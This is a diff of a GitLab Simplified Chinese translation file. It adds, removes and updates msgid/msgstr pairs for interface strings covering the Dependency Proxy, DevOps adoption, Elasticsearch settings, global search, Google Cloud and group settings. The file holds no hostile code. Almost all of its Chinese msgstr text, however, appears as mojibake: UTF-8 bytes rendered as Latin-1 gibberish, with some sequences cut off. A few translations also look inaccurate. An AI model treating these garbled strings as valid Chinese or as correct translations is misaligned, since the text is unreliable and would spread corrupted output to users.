msgid "DependencyProxy|Dependency Proxy"
msgstr "ä¾èµ–代ç†"
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
+msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
+msgstr "ä¾èµ–代ç†åŠŸèƒ½ç›®å‰ä»…é™äºŽå…¬å¼€ç¾¤ç»„。"
+
+msgid "DependencyProxy|Dependency Proxy image prefix"
+msgstr "ä¾èµ–代ç†é•œåƒå‰ç¼€"
+
+msgid "DependencyProxy|Enable Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
+msgid "DependencyProxy|Image list"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy image prefix"
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11392,9 +11604,6 @@ msgstr "部署频率"
msgid "Deployments"
msgstr "部署"
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr "Google Kubernetes Engine 的部署å¯ä»¥æ˜¯ "
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] "%{deployments} 环境å—到影å“。"
@@ -11470,7 +11679,7 @@ msgstr "%{current_design}/%{designs_count}"
msgid "DesignManagement|%{filename} did not change."
msgid_plural "DesignManagement|The designs you tried uploading did not change."
-msgstr[0] ""
+msgstr[0] "您å°è¯•ä¸Šä¼ çš„设计没有改å˜ã€‚"
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "添加具有相åŒæ–‡ä»¶å的设计会替æ¢ä¸ºæ–°ç‰ˆæœ¬çš„文件。"
@@ -11575,10 +11784,10 @@ msgid "DesignManagement|Select all"
msgstr "选择全部"
msgid "DesignManagement|Some of the designs you tried uploading did not change: %{skippedFiles} and %{moreCount} more."
-msgstr ""
+msgstr "您å°è¯•ä¸Šä¼ çš„一些设计没有改å˜ï¼š %{skippedFiles} å’Œ %{moreCount}。"
msgid "DesignManagement|Some of the designs you tried uploading did not change: %{skippedFiles}."
-msgstr ""
+msgstr "您å°è¯•ä¸Šä¼ çš„æŸäº›è®¾è®¡æ²¡æœ‰æ›´æ”¹ï¼š%{skippedFiles}。"
msgid "DesignManagement|The maximum number of designs allowed to be uploaded is %{upload_limit}. Please try again."
msgstr "å…许上传的设计最大数é‡ä¸º %{upload_limit}。请å†è¯•ä¸€æ¬¡ã€‚"
@@ -11596,7 +11805,7 @@ msgid "DesignManagement|Upload designs"
msgstr "上传设计"
msgid "DesignManagement|Upload skipped. %{reason}"
-msgstr ""
+msgstr "上传已跳过。%{reason}"
msgid "DesignManagement|Your designs are being copied and are on their way… Please refresh to update."
msgstr "您的设计正在å¤åˆ¶è¿‡ç¨‹ä¸­â€¦ 请刷新以获得更新。"
@@ -11622,8 +11831,8 @@ msgstr "检测主机密钥"
msgid "DevOps Adoption"
msgstr "DevOps Adoption"
-msgid "DevOps Report"
-msgstr "DevOps报告"
+msgid "DevOps Reports"
+msgstr ""
msgid "DevOps adoption"
msgstr "DevOps adoption"
@@ -11653,7 +11862,7 @@ msgid "DevopsAdoption|Adoption by subgroup"
msgstr "按å­ç»„采用"
msgid "DevopsAdoption|Adoption over time"
-msgstr ""
+msgstr "采用"
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr "删除群组时出错,请é‡è¯•ã€‚"
@@ -11734,7 +11943,7 @@ msgid "DevopsAdoption|No results…"
msgstr "没有结果…"
msgid "DevopsAdoption|No tracked features"
-msgstr ""
+msgstr "没有跟踪的功能"
msgid "DevopsAdoption|Not adopted"
msgstr "未采用"
@@ -11782,7 +11991,7 @@ msgid "DevopsAdoption|This group has no subgroups"
msgstr "此群组没有å­ç¾¤ç»„"
msgid "DevopsAdoption|Total number of features adopted"
-msgstr ""
+msgstr "已采纳的特性总数"
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr "您ä¸èƒ½åˆ é™¤æ‚¨å½“å‰æ‰€åœ¨çš„群组。"
@@ -11886,6 +12095,9 @@ msgstr "目录å称"
msgid "Disable"
msgstr "ç¦ç”¨"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr "ç¦ç”¨åŒé‡è®¤è¯"
@@ -12052,6 +12264,9 @@ msgstr "文档é‡å»ºç´¢å¼•: %{processed_documents} (%{percentage}%%)"
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr "ä¸é€‚用于个人命å空间中的项目,这些项目会根æ®è¦æ±‚ç«‹å³åˆ é™¤ã€‚"
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "域å"
@@ -12142,9 +12357,6 @@ msgstr "踩"
msgid "Draft"
msgstr "è‰ç¨¿"
-msgid "Draft merge requests can't be merged."
-msgstr "è‰ç¨¿åˆå¹¶è¯·æ±‚ä¸èƒ½åˆå¹¶ã€‚"
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr "将您的设计拖到此处,或 %{linkStart}点击上传%{linkEnd}。"
@@ -12178,6 +12390,9 @@ msgstr "æ—  %{issuableAttribute}"
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr "未找到 %{issuableAttribute}"
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr "截止日期"
@@ -12256,9 +12471,15 @@ msgstr "编辑应用"
msgid "Edit comment"
msgstr "编辑评论"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr "编辑部署冻结"
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "编辑æè¿°ä¿¡æ¯"
@@ -12314,7 +12535,7 @@ msgid "Edit title and description"
msgstr "编辑标题和æè¿°"
msgid "Edit topic: %{topic_name}"
-msgstr ""
+msgstr "编辑主题:%{topic_name}"
msgid "Edit user: %{user_name}"
msgstr "编辑用户:%{user_name}"
@@ -12352,6 +12573,9 @@ msgstr "Elasticsearch索引é™åˆ¶"
msgid "Elasticsearch indexing started"
msgstr "Elasticsearch索引已å¯åŠ¨"
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr "Elasticsearché‡å»ºç´¢å¼•æ­£åœ¨è¿›è¡Œä¸­"
@@ -12367,6 +12591,9 @@ msgstr "Elasticsearch返回状æ€ä»£ç : %{status_code}"
msgid "Elasticsearch zero-downtime reindexing"
msgstr "Elasticsearchä¸åœæœºé‡å»ºç´¢å¼•"
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr "无。请选择è¦å»ºç«‹ç´¢å¼•çš„命å空间。"
@@ -12388,6 +12615,9 @@ msgstr "电å­é‚®ä»¶é€šçŸ¥"
msgid "Email a new %{name} to this project"
msgstr "通过电å­é‚®ä»¶å‘该项目å‘é€ %{name}"
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr "用于技术支æŒçš„电å­é‚®ä»¶åœ°å€"
@@ -12487,9 +12717,6 @@ msgstr "å‘é€è‡ªæ交者"
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr "如果这个域å是 GitLab 域å的一部分(例如%{domains}),则从æ交者电å­é‚®ä»¶åœ°å€å‘é€é€šçŸ¥ 。"
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr "ä¸èƒ½è¶…过 %{recipients_limit}"
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr "tanuki@example.com gitlab@example.com"
@@ -12541,6 +12768,9 @@ msgstr "å¯ç”¨æ³¨å†ŒåŠŸèƒ½"
msgid "Enable SSL verification"
msgstr "å¯ç”¨ SSL 验è¯"
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr "å¯ç”¨æœåŠ¡Ping"
@@ -12562,6 +12792,9 @@ msgstr "å¯ç”¨å…¬å¼€å¥åº·å’Œæ€§èƒ½ç»Ÿè®¡ä¿¡æ¯çš„ Prometheus 端点。 å¥åº·æ£
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr "å…许给定群组中的éžç®¡ç†å‘˜è®¿é—®æ€§èƒ½æ ã€‚"
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr "å¯ç”¨ç®¡ç†æ¨¡å¼"
@@ -12634,6 +12867,9 @@ msgstr "å¯ç”¨ç»´æŠ¤æ¨¡å¼"
msgid "Enable multipart emails"
msgstr "å¯ç”¨ multipart 邮件"
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "å¯ç”¨æˆ–ç¦ç”¨åŒ¿å化数æ®æ”¶é›†."
@@ -12641,7 +12877,7 @@ msgid "Enable or disable version check and Service Ping."
msgstr "å¯ç”¨æˆ–ç¦ç”¨ç‰ˆæœ¬æ£€æŸ¥å’ŒæœåŠ¡Ping。"
msgid "Enable rate limiting for POST requests to the specified paths"
-msgstr ""
+msgstr "为指定路径的 POST 请求å¯ç”¨é€ŸçŽ‡é™åˆ¶"
msgid "Enable reCAPTCHA"
msgstr "å¯ç”¨ reCAPTCHA"
@@ -12692,7 +12928,7 @@ msgid "EnableReviewApp|%{stepStart}Step 3%{stepEnd}. Add it to the project %{lin
msgstr "%{stepStart}第3步%{stepEnd}: 将其添加到项目的%{linkStart}gitlab-ci.yml%{linkEnd}文件。"
msgid "EnableReviewApp|%{stepStart}Step 4 (optional)%{stepEnd}. Enable Visual Reviews by following the %{linkStart}setup instructions%{linkEnd}."
-msgstr "%{stepStart}第 4 步(å¯é€‰ï¼‰%{stepEnd}. %{linkStart}。根æ®è®¾ç½®è¯´æ˜Žå¯ç”¨å¯è§†åŒ–评审%{linkEnd}。"
+msgstr "%{stepStart}第 4 步(å¯é€‰ï¼‰%{stepEnd}。%{linkStart}æ ¹æ®è®¾ç½®è¯´æ˜Žå¯ç”¨å¯è§†åŒ–评审%{linkEnd}。"
msgid "EnableReviewApp|Close"
msgstr "关闭"
@@ -12767,10 +13003,10 @@ msgid "Enter an integer number between 0 and 100"
msgstr "输入介于0到100之间的整数"
msgid "Enter any color or choose one of the suggested colors below."
-msgstr ""
+msgstr "输入任何颜色或选择一个以下建议的颜色。"
msgid "Enter any color."
-msgstr ""
+msgstr "输入任何颜色。"
msgid "Enter at least three characters to search"
msgstr "请至少输入三个字符æ‰å¯æœç´¢"
@@ -12808,6 +13044,12 @@ msgstr "输入您的应用程åºçš„å称,我们会返回唯一的%{type}。"
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr "输入秒数或其它å¯è¯»çš„输入,如“1 å°æ—¶â€ã€‚此超时优先于为项目设置的较低超时。"
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr "输入您的 Packagist æœåŠ¡å™¨ã€‚默认为 https://packagist.org。"
@@ -12825,7 +13067,7 @@ msgstr "ä¼ä¸š"
msgid "Environment"
msgid_plural "Environments"
-msgstr[0] ""
+msgstr[0] "环境"
msgid "Environment does not have deployments"
msgstr "环境没有部署"
@@ -12890,17 +13132,14 @@ msgstr "作业:%{job}"
msgid "EnvironmentsDashboard|More actions"
msgstr "更多æ“作"
-msgid "EnvironmentsDashboard|More information"
-msgstr "更多信æ¯"
-
msgid "EnvironmentsDashboard|Remove"
msgstr "删除"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "环境仪表æ¿æä¾›æ¯ä¸ªé¡¹ç›®çŽ¯å¢ƒçŠ¶æ€çš„摘è¦ï¼ŒåŒ…括æµæ°´çº¿å’Œè­¦æŠ¥çŠ¶æ€ã€‚"
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
-msgstr "此仪表æ¿ä¸ºæ¯ä¸ªé¡¹ç›®æ˜¾ç¤º3个环境,并链接到è¿ç»´ä»ªè¡¨æ¿ã€‚从一个仪表æ¿æ·»åŠ æˆ–删除项目时,GitLab也会从å¦ä¸€ä¸ªä»ªè¡¨æ¿æ·»åŠ æˆ–删除项目。 %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
+msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
msgstr "å–消自动终止时å‘生错误,请é‡è¯•"
@@ -12927,7 +13166,7 @@ msgid "Environments|Are you sure you want to stop this environment?"
msgstr "是å¦ç¡®å®šç»ˆæ­¢å½“å‰çŽ¯å¢ƒï¼Ÿ"
msgid "Environments|Auto stop"
-msgstr ""
+msgstr "自动åœæ­¢"
msgid "Environments|Auto stops %{autoStopAt}"
msgstr "自动åœæ­¢äºŽ %{autoStopAt}"
@@ -13139,9 +13378,6 @@ msgstr "指派å²è¯—"
msgid "Epics|Enter a title for your epic"
msgstr "输入å²è¯—的标题"
-msgid "Epics|How can I solve this?"
-msgstr "我该如何解决该问题?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr "留空以继承里程碑日期"
@@ -13190,9 +13426,6 @@ msgstr "排åºæ—¶å‡ºé”™ã€‚"
msgid "Epics|Something went wrong while removing issue from epic."
msgstr "从å²è¯—中删除议题时出错。"
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "这些日期会影å“å²è¯—在路线图中的显示方å¼ã€‚里程碑日期æ¥è‡ªäºŽå²è¯—故事中的议题所属的里程碑。您还å¯ä»¥è®¾ç½®å›ºå®šæ—¥æœŸæˆ–完全删除它们。"
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr "这个å²è¯—和任何包å«å­å²è¯—çš„ä¿¡æ¯å‡ä¸ºç§å¯†ï¼Œåªèƒ½å¯¹æ‹¥æœ‰è‡³å°‘报告者访问æƒé™çš„团队æˆå‘˜å¯è§ã€‚"
@@ -13227,7 +13460,7 @@ msgid "Error creating label."
msgstr "创建标记时出错。"
msgid "Error creating new directory. Please try again."
-msgstr ""
+msgstr "创建新目录时出错。请é‡è¯•ã€‚"
msgid "Error creating new iteration"
msgstr "创建新迭代时出错"
@@ -13407,7 +13640,7 @@ msgid "Error: %{error_message}"
msgstr "错误: %{error_message}"
msgid "Error: %{error}"
-msgstr ""
+msgstr "错误: %{error}"
msgid "Error: Couldn't load some or all of the changes."
msgstr "错误:无法加载部分或全部更改。"
@@ -13529,8 +13762,8 @@ msgstr "电å­é‚®ä»¶ç”¨æˆ·"
msgid "EscalationPolicies|Escalation policies"
msgstr "å‡çº§ç­–ç•¥"
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
-msgstr "项目 %{project} çš„å‡çº§ç­–ç•¥ %{obstacle}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
+msgstr ""
msgid "EscalationPolicies|Escalation rules"
msgstr "å‡çº§è§„则"
@@ -13710,9 +13943,6 @@ msgstr "除外(Except)æ¡ä»¶ï¼š"
msgid "Exceptions"
msgstr "例外"
-msgid "Excess storage"
-msgstr "超é¢å­˜å‚¨"
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr "ä¸åŒ…括åˆå¹¶æ交。仅é™%{limit}次æ交。"
@@ -13786,7 +14016,7 @@ msgid "Expiration date (optional)"
msgstr "过期日期 (å¯é€‰)"
msgid "Expiration date:"
-msgstr ""
+msgstr "到期日期:"
msgid "Expired"
msgstr "已过期"
@@ -13804,7 +14034,7 @@ msgid "Expires in %{expires_at}"
msgstr "在 %{expires_at} 过期"
msgid "Expires on"
-msgstr ""
+msgstr "到期日期"
msgid "Expires:"
msgstr "到期时间:"
@@ -13830,6 +14060,12 @@ msgstr "æµè§ˆé¡¹ç›®"
msgid "Explore public groups"
msgstr "æµè§ˆå…¬å¼€ç¾¤ç»„"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr "导出"
@@ -13846,10 +14082,10 @@ msgid "Export group"
msgstr "导出群组"
msgid "Export issues"
-msgstr ""
+msgstr "导出议题"
msgid "Export merge requests"
-msgstr ""
+msgstr "导出åˆå¹¶è¯·æ±‚"
msgid "Export project"
msgstr "导出项目"
@@ -13905,6 +14141,12 @@ msgstr "分类标签"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "未设置分类标签的时候,将使用默认的分类标签`%{default_label}`。"
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr "外部Wiki"
@@ -13937,7 +14179,7 @@ msgstr "应用命令失败。"
msgid "Failed to archive a design. Please try again."
msgid_plural "Failed to archive designs. Please try again."
-msgstr[0] ""
+msgstr[0] "归档设计失败。请é‡è¯•ã€‚"
msgid "Failed to assign a reviewer because no user was found."
msgstr "由于未找到用户,因此无法指派审核者。"
@@ -14020,6 +14262,9 @@ msgstr "获å–ref失败。"
msgid "Failed to install."
msgstr "安装失败。"
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr "加载指派人失败。"
@@ -14086,6 +14331,9 @@ msgstr "无法移动此议题,因为åªèƒ½åªå¯æ供一个标记。"
msgid "Failed to move this issue because target project doesn't exist."
msgstr "无法移动此议题,因为目标项目ä¸å­˜åœ¨ã€‚"
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "由于内部错误而无法å‡çº§æ ‡è®°ã€‚请è”系管ç†å‘˜ã€‚"
@@ -14098,9 +14346,6 @@ msgstr "ä¿æŠ¤çŽ¯å¢ƒå¤±è´¥"
msgid "Failed to publish issue on status page."
msgstr "在状æ€é¡µä¸Šå‘布议题失败。"
-msgid "Failed to register Agent"
-msgstr "注册代ç†å¤±è´¥"
-
msgid "Failed to remove a Zoom meeting"
msgstr "无法删除Zoom会议"
@@ -14364,7 +14609,7 @@ msgid "FeatureFlags|Remove"
msgstr "删除"
msgid "FeatureFlags|Search code references"
-msgstr ""
+msgstr "æœç´¢ä»£ç å¼•ç”¨"
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr "设置Unleash客户端应用å称为应用程åºè¿è¡Œçš„环境å称。 此值将用于匹é…环境范围。查看 %{linkStart}客户端é…置示例%{linkEnd}。"
@@ -14538,6 +14783,9 @@ msgstr "按当å‰å·²å…³é—­å’Œæœªåˆå¹¶çš„åˆå¹¶è¯·æ±‚筛选。"
msgid "Filter by merge requests that are currently merged."
msgstr "按当å‰å·²åˆå¹¶çš„åˆå¹¶è¯·æ±‚筛选。"
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "按里程碑å称筛选"
@@ -14617,7 +14865,7 @@ msgid "Finished at"
msgstr "完æˆäºŽ"
msgid "First Name"
-msgstr ""
+msgstr "å"
msgid "First Seen"
msgstr "首次出现"
@@ -14634,15 +14882,6 @@ msgstr "首次出现"
msgid "Fixed burndown chart"
msgstr "固定燃尽图"
-msgid "Fixed date"
-msgstr "固定日期"
-
-msgid "Fixed due date"
-msgstr "固定截止日期"
-
-msgid "Fixed start date"
-msgstr "固定开始日期"
-
msgid "Fixed:"
msgstr "固定:"
@@ -14721,6 +14960,9 @@ msgstr "对于æ¯ä¸ªä½œä¸šï¼Œé‡æ–°ä½¿ç”¨é¡¹ç›®å·¥ä½œåŒºï¼Œå¦‚果工作区ä¸å­˜
msgid "For example, the application using the token or the purpose of the token."
msgstr "例如,应用程åºä½¿ç”¨ä»¤ç‰Œæˆ–令牌的用途。"
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr "关于一般性工作"
@@ -14851,7 +15093,7 @@ msgid "Framework successfully deleted"
msgstr "框架删除æˆåŠŸ"
msgid "Free"
-msgstr ""
+msgstr "Free"
msgid "Free Trial of GitLab.com Ultimate"
msgstr "å…费试用"
@@ -14914,7 +15156,7 @@ msgid "General pipelines"
msgstr "æµæ°´çº¿é€šç”¨è®¾ç½®"
msgid "General settings"
-msgstr ""
+msgstr "通用设置"
msgid "Generate a default set of labels"
msgstr "生æˆä¸€ç»„默认的标记"
@@ -14934,6 +15176,9 @@ msgstr "为您需è¦è®¿é—®GitLab API的应用程åºç”Ÿæˆé¡¹ç›®è®¿é—®ä»¤ç‰Œã€‚"
msgid "Generate site and private keys at"
msgstr "生æˆç«™ç‚¹å’Œç§é’¥åœ¨"
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr "通用"
@@ -15039,9 +15284,6 @@ msgstr "查询Geo故障排除信æ¯"
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr "无法删除现有项目的跟踪æ¡ç›®ã€‚"
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr "无法删除现有上传的跟踪æ¡ç›®ã€‚"
-
msgid "Geo|Data replication lag"
msgstr "æ•°æ®å¤åˆ¶æ»žåŽ"
@@ -15315,9 +15557,6 @@ msgstr "跟踪数æ®åº“æ¡ç›®å°†è¢«åˆ é™¤ã€‚确定继续å—?"
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr "å·²æˆåŠŸåˆ é™¤é¡¹ç›® (%{project_id}) 的跟踪项。"
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr "上传 (%{type}/%{id}) 跟踪æ¡ç›®å·²æˆåŠŸåˆ é™¤ã€‚"
-
msgid "Geo|URL can't be blank"
msgstr "URLä¸èƒ½ä¸ºç©º"
@@ -15489,11 +15728,14 @@ msgstr "GitLab Workhorse"
msgid "GitLab account request rejected"
msgstr "GitLabå¸æˆ·è¯·æ±‚被拒ç»"
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr "GitLabæ交"
msgid "GitLab events trigger webhooks. Use the request details of a webhook to help troubleshoot problems. %{link_start}How do I troubleshoot?%{link_end}"
-msgstr ""
+msgstr "GitLab äº‹ä»¶è§¦å‘ webhook。使用 webhook 请求的详细信æ¯æ¥å¸®åŠ©è§£å†³é—®é¢˜ã€‚%{link_start}如何排除故障?%{link_end}"
msgid "GitLab export"
msgstr "GitLab导出"
@@ -15535,7 +15777,7 @@ msgid "GitLab project export"
msgstr "GitLab项目导出"
msgid "GitLab runs a background job to export pseudonymized CSVs of the GitLab database. The CSV files are then uploaded to your configured object storage directory."
-msgstr ""
+msgstr "GitLabå°†è¿è¡ŒåŽå°ä½œä¸šï¼Œç”Ÿæˆæ•°æ®åº“的匿å化CSV,并上传到预先设定的对象存储目录。"
msgid "GitLab single sign-on URL"
msgstr "GitLabå•ç‚¹ç™»å½•ç½‘å€"
@@ -15552,6 +15794,9 @@ msgstr "GitLab 使用 %{linkStart}Sidekiq%{linkEnd} 处ç†åŽå°ä½œä¸š"
msgid "GitLab version"
msgstr "GitLab 版本"
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr "GitLab.com"
@@ -15622,10 +15867,10 @@ msgid "GitLabPages|Something went wrong while obtaining the Let's Encrypt certif
msgstr "在获å–域å%{domain}çš„Let's Encryptè¯ä¹¦æ—¶å‡ºé”™ã€‚如需é‡è¯•ï¼Œè¯·è®¿é—®æ‚¨çš„%{link_start}域详细信æ¯%{link_end}。"
msgid "GitLabPages|Support for domains and certificates is disabled. Ask your system's administrator to enable it."
-msgstr ""
+msgstr "域åå’Œè¯ä¹¦æ”¯æŒå·²è¢«ç¦ç”¨ã€‚请系统管ç†å‘˜å¯ç”¨ã€‚"
msgid "GitLabPages|The total size of deployed static content will be limited to this size. 0 for unlimited. Leave empty to inherit the global value."
-msgstr ""
+msgstr "部署的é™æ€å†…容的总大å°å°†é™åˆ¶åœ¨æ­¤å¤§å°ã€‚0为无é™ã€‚留空则继承全局设置。"
msgid "GitLabPages|Unverified"
msgstr "未验è¯"
@@ -15673,7 +15918,7 @@ msgid "GithubIntegration|Create a %{token_link_start}personal access token%{toke
msgstr "创建一个具有%{status_html}访问æƒé™çš„%{token_link_start}个人访问令牌%{token_link_end},并将其粘贴到此处。"
msgid "GithubIntegration|Enable static status check names"
-msgstr ""
+msgstr "å¯ç”¨é™æ€çŠ¶æ€æ£€æŸ¥å称"
msgid "GithubIntegration|Obtain statuses for commits and pull requests."
msgstr "获å–æ交和拉å–请求的状æ€ã€‚"
@@ -15723,6 +15968,51 @@ msgstr "全局快æ·é”®"
msgid "Global notification settings"
msgstr "全局通知设置"
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "返回"
@@ -15870,8 +16160,20 @@ msgstr "å˜æ›´çš„目的以åŠè¯„审人员应注æ„的事项。"
msgid "Google Cloud"
msgstr "Google Cloud"
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
-msgstr "Google Cloud æ供了多个部署目标,选择一个最适åˆæ‚¨çš„项目。"
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
+msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr "谷歌的身份验è¯æœª%{link_start}正确é…ç½®%{link_end}。如需使用这项æœåŠ¡ï¼Œè¯·è”ç³»GitLab管ç†å‘˜ã€‚"
@@ -15927,6 +16229,9 @@ msgstr "查看ä¾èµ–项"
msgid "GraphViewType|Stage"
msgstr "阶段"
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -15985,7 +16290,7 @@ msgid "Group by"
msgstr "分组方å¼"
msgid "Group description"
-msgstr ""
+msgstr "群组æè¿°"
msgid "Group description (optional)"
msgstr "群组æ述(å¯é€‰ï¼‰"
@@ -16191,8 +16496,8 @@ msgstr "3年内"
msgid "GroupSAML|\"persistent\" recommended"
msgstr "推è“æŒä¹…化â€"
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
-msgstr "%{strongOpen}警告%{strongClose} - å¯ç”¨ %{linkStart}SSO 执行%{linkEnd} å¯ä»¥é™ä½Žå®‰å…¨é£Žé™©ã€‚"
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
+msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr "å¯ç”¨çš„SAML群组链接(%{count})"
@@ -16384,7 +16689,7 @@ msgid "GroupSettings|Compliance frameworks"
msgstr "åˆè§„框架"
msgid "GroupSettings|Configure compliance frameworks to make them available to projects in this group. %{linkStart}Learn more.%{linkEnd}"
-msgstr ""
+msgstr "é…ç½®åˆè§„框架以æ供给此群组中的项目。 %{linkStart}了解更多信æ¯ã€‚%{linkEnd}"
msgid "GroupSettings|Custom project templates"
msgstr "自定义项目模æ¿"
@@ -16447,13 +16752,13 @@ msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_peri
msgstr "项目将在%{waiting_period}天延迟åŽæ°¸ä¹…删除,此延迟在实例设置中%{link_start}å¯ä»¥ç”±ç®¡ç†å‘˜å®šä¹‰%{link_end} ,由å­ç¾¤ç»„继承。"
